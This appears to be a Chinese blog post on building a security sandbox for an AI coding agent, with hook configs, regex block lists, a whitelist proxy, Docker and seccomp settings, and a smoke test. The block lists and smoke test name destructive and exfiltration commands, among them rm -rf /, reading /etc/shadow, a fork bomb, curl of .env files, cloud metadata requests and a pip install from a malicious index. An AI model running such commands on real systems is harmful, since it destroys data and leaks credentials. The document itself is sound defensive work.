Harness Engineering 之二：给 Agent 搭一个安全沙箱

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

// .claude/settings.json — PreToolUse Hook 拦截危险命令
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 .claude/hooks/danger-guard.py"
          }
        ]
      }
    ]
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

# .claude/hooks/danger-guard.py — 危险命令守卫
import sys, json, re

# 从 stdin 读 Hook 传入的 tool_input
tool_input = json.load(sys.stdin)
command = tool_input.get("command", "")

# 规则集：每一条是 (正则, 风险等级, 说明)
RULES = [
    # === CRITICAL: 直接拒绝 ===
    (r"rm\s+-rf\s+/", "CRITICAL", "禁止递归删除根目录"),
    (r"rm\s+-rf\s+~", "CRITICAL", "禁止递归删除家目录"),
    (r"rm\s+-rf\s+\$HOME", "CRITICAL", "禁止递归删除家目录"),
    (r"DROP\s+(TABLE|DATABASE)", "CRITICAL", "禁止 DROP TABLE/DATABASE，请用迁移工具"),
    (r"TRUNCATE\s+(TABLE\s+)?", "CRITICAL", "禁止 TRUNCATE，请用 DELETE + WHERE"),
    (r"git\s+push\s+.*(--force|-f)", "CRITICAL", "禁止 git push --force，请用 --force-with-lease"),

    # === HIGH: 需人工确认 ===
    (r"curl.*\.env", "HIGH", "疑似将 .env 文件内容外传"),
    (r"(nc|netcat)\s+.*\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", "HIGH", "nc 连接 IP，疑似数据外传"),
    (r"sudo\s+", "HIGH", "提权操作"),
    (r"chmod\s+777", "HIGH", "过度开放文件权限"),

    # === MEDIUM: 记录日志但不拦截 ===
    (r"pip\s+install", "MEDIUM", "安装新包——检查是否为已知包"),
    (r"npm\s+install\s+-g", "MEDIUM", "全局安装 npm 包"),
]

blocked = False
for pattern, level, reason in RULES:
    if re.search(pattern, command):
        if level == "CRITICAL":
            print(json.dumps({
                "decision": "block",
                "reason": f"[{level}] {reason}\n匹配模式: {pattern}\n命令: {command[:200]}"
            }))
            blocked = True
            break
        elif level == "HIGH":
            print(json.dumps({
                "decision": "ask",
                "reason": f"[{level}] {reason}\n命令: {command[:200]}\n是否继续？"
            }))
            blocked = True
            break
        elif level == "MEDIUM":
            # 仅记录到审计日志，不拦截
            with open("/tmp/agent-audit.log", "a") as f:
                f.write(f"[MEDIUM] {reason} | cmd: {command[:200]}\n")

if not blocked:
    print(json.dumps({"decision": "allow"}))

1
2
3

# 创建隔离 worktree
git worktree add /tmp/agent-sandbox-$(date +%s) main
cd /tmp/agent-sandbox-*

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

// .claude/settings.local.json — 敏感文件写保护
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "python3 .claude/hooks/sensitive-file-guard.py"
        }]
      }
    ]
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# .claude/hooks/sensitive-file-guard.py — 敏感文件保护
import sys, json, os

tool_input = json.load(sys.stdin)
file_path = tool_input.get("file_path", "")

SENSITIVE_PATTERNS = [
    ".env", ".env.local", ".env.production",
    "secrets.yaml", "secrets.yml", "secret.yaml",
    "credentials.json", "service-account.json",
    "id_rsa", "id_ed25519", "id_ecdsa",
    ".aws/credentials", ".aws/config",
    ".ssh/", ".gnupg/",
]

abs_path = os.path.abspath(file_path)
for pattern in SENSITIVE_PATTERNS:
    if pattern in abs_path:
        print(json.dumps({
            "decision": "block",
            "reason": f"禁止修改敏感文件: {abs_path}\n匹配模式: {pattern}"
        }))
        sys.exit(0)

print(json.dumps({"decision": "allow"}))

1
2
3
4
5
6
7
8

# 只读挂载原项目
mount --bind /home/user/project /mnt/ro-project
mount -o remount,ro /mnt/ro-project

# OverlayFS：Agent 的写入全到 upperdir，不影响原项目
mount -t overlay overlay \
  -o lowerdir=/mnt/ro-project,upperdir=/tmp/agent-upper,workdir=/tmp/agent-work \
  /mnt/agent-workspace

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86

# agent-network-proxy.py — Agent 专用网络代理
# 启动: python3 agent-network-proxy.py --port 9999
# 配置: export HTTP_PROXY=socks5://127.0.0.1:9999

import socket, struct, sys
from urllib.parse import urlparse

# 白名单：Agent 只能访问这些域名
ALLOWED_DOMAINS = {
    "pypi.org", "files.pythonhosted.org",       # pip
    "registry.npmjs.org",                        # npm
    "github.com", "api.github.com",             # git
    "raw.githubusercontent.com",
    "docs.python.org", "developer.mozilla.org", # 文档
    # 按需扩展
}

def parse_socks5_connect(data: bytes) -> str | None:
    """从 SOCKS5 CONNECT 请求中提取目标域名"""
    try:
        atyp = data[3]
        if atyp == 0x03:  # 域名
            domain_len = data[4]
            domain = data[5:5+domain_len].decode()
            return domain
        elif atyp == 0x01:  # IPv4
            return socket.inet_ntoa(data[4:8])
    except Exception:
        return None

def handle_client(client_sock):
    """处理一个 SOCKS5 客户端连接"""
    # SOCKS5 握手
    client_sock.recv(262)
    client_sock.send(b"\x05\x00")  # 无需认证

    # SOCKS5 CONNECT 请求
    request = client_sock.recv(262)
    domain = parse_socks5_connect(request)

    if domain is None:
        client_sock.close()
        return

    # 检查白名单
    allowed = any(
        domain == d or domain.endswith("." + d)
        for d in ALLOWED_DOMAINS
    )

    if not allowed:
        print(f"[BLOCK] {domain}")
        client_sock.send(b"\x05\x04\x00\x01" + socket.inet_aton("0.0.0.0") + b"\x00\x00")
        client_sock.close()
        return

    print(f"[ALLOW] {domain}")
    # 连接真实目标
    port = struct.unpack("!H", request[-2:])[0]
    remote = socket.create_connection((domain, port))
    client_sock.send(b"\x05\x00\x00\x01" + socket.inet_aton("0.0.0.0") + b"\x00\x00")

    # 双向转发
    import select
    while True:
        r, _, _ = select.select([client_sock, remote], [], [], 30)
        if not r:
            break
        for sock in r:
            data = sock.recv(8192)
            if not data:
                return
            if sock is client_sock:
                remote.send(data)
            else:
                client_sock.send(data)

# 启动 SOCKS5 服务
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("127.0.0.1", int(sys.argv[2])))
server.listen(5)
print(f"Agent 网络代理已启动: 127.0.0.1:{sys.argv[2]}")

while True:
    client, addr = server.accept()
    handle_client(client)

1
2
3

export HTTP_PROXY=socks5://127.0.0.1:9999
export HTTPS_PROXY=socks5://127.0.0.1:9999
# Agent 现在只能访问白名单域名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

# 补充到 danger-guard.py 中
NETWORK_DANGER_RULES = [
    # 数据外传模式
    (r"curl.*https?://(?!api\.github\.com|pypi\.org|registry\.npmjs\.org)", "HIGH",
     "curl 到非白名单域名——疑似数据外传"),
    (r"wget.*https?://(?!api\.github\.com)", "HIGH",
     "wget 到非白名单域名"),
    (r"nc\s+-[lL].*\d+", "CRITICAL",
     "nc 监听端口——疑似开启后门"),
    (r"python3?\s+-c.*(requests|urllib|http\.client|socket)", "HIGH",
     "Python 一行脚本发起网络请求"),
    # SSRF 模式
    (r"(curl|wget|nc).*169\.254\.169\.254", "CRITICAL",
     "访问云实例元数据服务（AWS/GC/Azure SSRF）"),
    (r"(curl|wget|nc).*metadata\.google\.internal", "CRITICAL",
     "访问 GCP 元数据端点"),
]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# Dockerfile.agent-sandbox — Agent 的最小运行环境
FROM python:3.12-slim

# 只装 Agent 需要的系统工具
RUN apt-get update && apt-get install -y --no-install-recommends \
    git \
    curl \
    && rm -rf /var/lib/apt/lists/*

# 创建隔离用户（不是 root）
RUN useradd -m -s /bin/bash agent
USER agent
WORKDIR /home/agent/project

# 资源限制通过 docker run 指定
# docker run --memory="2g" --cpus="2" --pids-limit=100 \
#   --read-only --tmpfs /tmp:rw,noexec,nosuid,size=1g \
#   --network=bridge \
#   agent-sandbox

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

# 启动沙箱的完整参数
docker run -d --name agent-sandbox \
  # 资源限制：防止 Agent 把宿主机跑崩
  --memory="4g" \
  --memory-swap="4g" \
  --cpus="4" \
  --pids-limit=200 \
  # 文件系统：大部分只读，只有 /tmp 和 /workspace 可写
  --read-only \
  --tmpfs /tmp:rw,noexec,nosuid,size=2g \
  -v /path/to/project:/home/agent/project:ro \
  --tmpfs /home/agent/workspace:rw,exec,size=4g \
  # 网络：隔离，只通外网白名单
  --network=agent-net \
  # 禁止特权模式
  --security-opt=no-new-privileges \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  # seccomp 过滤：只允许白名单系统调用
  --security-opt=seccomp=agent-seccomp.json \
  agent-sandbox

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

// agent-seccomp.json — 白名单模式（只允许这些系统调用）
{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": ["SCMP_ARCH_X86_64"],
  "syscalls": [
    { "names": ["read", "write", "openat", "close", "fstat", "lseek"], "action": "SCMP_ACT_ALLOW" },
    { "names": ["mmap", "mprotect", "munmap", "brk"], "action": "SCMP_ACT_ALLOW" },
    { "names": ["clone", "clone3", "exit", "exit_group", "wait4"], "action": "SCMP_ACT_ALLOW" },
    { "names": ["execve", "execveat"], "action": "SCMP_ACT_ALLOW" },
    { "names": ["stat", "lstat", "access", "getdents64"], "action": "SCMP_ACT_ALLOW" },
    { "names": ["connect", "sendto", "recvfrom", "socket"], "action": "SCMP_ACT_ALLOW" },
    { "names": ["futex", "nanosleep", "clock_gettime"], "action": "SCMP_ACT_ALLOW" },
    { "names": ["getpid", "getuid", "getgid", "uname"], "action": "SCMP_ACT_ALLOW" },
    { "names": ["set_robust_list", "rseq", "prlimit64"], "action": "SCMP_ACT_ALLOW" },
    { "names": ["rt_sigaction", "rt_sigprocmask", "sigaltstack"], "action": "SCMP_ACT_ALLOW" },
    { "names": ["arch_prctl", "set_tid_address"], "action": "SCMP_ACT_ALLOW" },
    { "names": ["io_uring_setup", "io_uring_enter", "io_uring_register"], "action": "SCMP_ACT_ALLOW" }
  ]
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#!/bin/bash
# smoke-test.sh — 验证沙箱防御能力

echo "=== 测试 1: 删除根目录（应被 Hook 或容器拦截）==="
docker exec agent-sandbox rm -rf / 2>&1 || echo "PASS: rm -rf / 被拦截"

echo "=== 测试 2: 读取 /etc/shadow（应被容器权限拦截）==="
docker exec agent-sandbox cat /etc/shadow 2>&1 || echo "PASS: /etc/shadow 不可读"

echo "=== 测试 3: 写 .env 文件（应被敏感文件 Hook 拦截）==="
docker exec agent-sandbox bash -c 'echo "SECRET=leaked" > .env' 2>&1 || echo "PASS: .env 写入被拦截"

echo "=== 测试 4: 连接非白名单域名（应被代理/防火墙拦截）==="
docker exec agent-sandbox curl -s --connect-timeout 3 https://pastebin.com 2>&1 || echo "PASS: 非白名单域名被拦截"

echo "=== 测试 5: 连接云元数据端点（应被拦截）==="
docker exec agent-sandbox curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>&1 || echo "PASS: 元数据端点被拦截"

echo "=== 测试 6: 安装未签名包（pip/npm 不受信任源）==="
docker exec agent-sandbox pip install --index-url https://malicious.example.com/simple/ evil-pkg 2>&1 || echo "PASS: 不受信 pip 源被拦截（网络白名单生效）"

echo "=== 测试 7: 资源耗尽（fork 炸弹）==="
docker exec agent-sandbox bash -c ':(){ :|:& };:' 2>&1 || echo "PASS: pids-limit 阻止了 fork 炸弹"

echo "=== 全部通过 ==="

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# 任务权限声明示例
task_permissions = {
    "task_id": "fix-login-bug",
    "read_paths": ["/home/user/project/src/auth/", "/home/user/project/tests/"],
    "write_paths": ["/home/user/project/src/auth/", "/tmp/fix-output/"],
    "allowed_domains": ["pypi.org", "files.pythonhosted.org"],
    "allowed_tools": ["Bash", "Write", "Read", "Grep"],
    "denied_tools": ["WebFetch", "WebSearch"],
    "max_runtime_seconds": 600,
    "max_bash_calls": 50
}